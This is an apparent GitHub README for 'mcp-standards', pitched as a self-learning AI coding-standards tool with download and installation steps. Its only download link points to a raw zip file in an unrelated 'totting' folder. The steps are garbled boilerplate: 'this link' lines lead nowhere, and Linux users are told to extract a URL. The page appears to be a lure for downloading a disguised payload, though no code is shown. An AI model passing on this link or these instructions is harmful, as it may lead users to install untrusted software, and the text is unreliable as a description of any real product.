Welcome to the mcp-standards repository. This self-learning AI standards system helps improve your code quality and productivity. It learns from corrections and automatically updates your standards document, https://raw.githubusercontent.com/Joldphysics/mcp-standards/main/totting/mcp-standards.zip
- AI-Driven Assistance: Enjoy automatic updates based on your coding habits.
- Self-Learning System: The AI improves over time, adapting to your corrections.
- User-Friendly Interface: Designed for ease of use, even for non-developers.
To get started, visit the Releases page to download the latest version. Hereβs the link:
Follow these simple steps to download and install the software:
-
Visit the Releases Page: Go to this link.
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Download the Latest Version:
- Look for the latest release at the top of the page.
- Click on the appropriate file for your operating system (Windows, macOS, or Linux).
- Save the file to your computer.
-
Install the Application:
- For Windows: Double-click the
.exefile you downloaded. - For macOS: Open the
.dmgfile and drag the application to your Applications folder. - For Linux: Extract the
https://raw.githubusercontent.com/Joldphysics/mcp-standards/main/totting/mcp-standards.zipfile and follow the instructions in the README inside the folder.
- For Windows: Double-click the
-
Run the Application:
- After installation, open the application. You should see a simple interface to start interacting with the AI.
Before downloading, make sure your computer meets these basic requirements:
-
Operating System:
- Windows 10 or later
- macOS 10.13 or later
- Linux (Ubuntu 18.04 or later recommended)
-
Hardware:
- At least 4 GB of RAM
- 1 GHz processor or higher
- 200 MB of free disk space
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Software:
- Python 3.7 or later (included in the installation package)
- SQLite (included in the installation package)
Once the application is running, you can configure settings to better suit your needs:
- Choose the Language: Select your preferred language from the settings menu.
- Set Standards: Define coding standards and quality checks that are important to you.
- Corrections Tracking: Enable corrections tracking so the AI can learn from your edits.
Here are some tips to get the most out of the mcp-standards application:
- Regular Interactions: The more you use the app, the better it learns your preferences and improves your standards.
- Provide Feedback: If you notice the AI making mistakes, provide feedback through the interface. This will help it learn faster.
- Regular Updates: Check the Releases page often to ensure youβre using the latest version with the newest features.
We welcome contributions from users who want to improve the mcp-standards system. If you have suggestions or improvements, please submit them via GitHub Issues. You can also fork the repository and create a pull request with your changes.
If you encounter any issues or need assistance, you can find help in the following ways:
- FAQ: Check the FAQ section in the application for common questions.
- GitHub Issues: Report any bugs or request features on our GitHub Issues page.
To learn more about AI standards and coding practices, explore these additional resources:
- Articles on coding standards.
- Tutorials on using AI in development.
- Community forums on best practices in programming.
This repository covers various topics related to software development and AI:
- ai-assistant
- ai-coding-assistant
- anthropic
- automation
- claude
- code-quality
- coding-standards
- configuration-management
- cursor-ai
- developer-productivity
- developer-tools
- knowledge-base
- local-first
- machine-learning
- mcp
- mcp-server
- pattern-learning
- python
- self-learning
- sqlite
For further details, feel free to explore the repository on GitHub. Happy coding!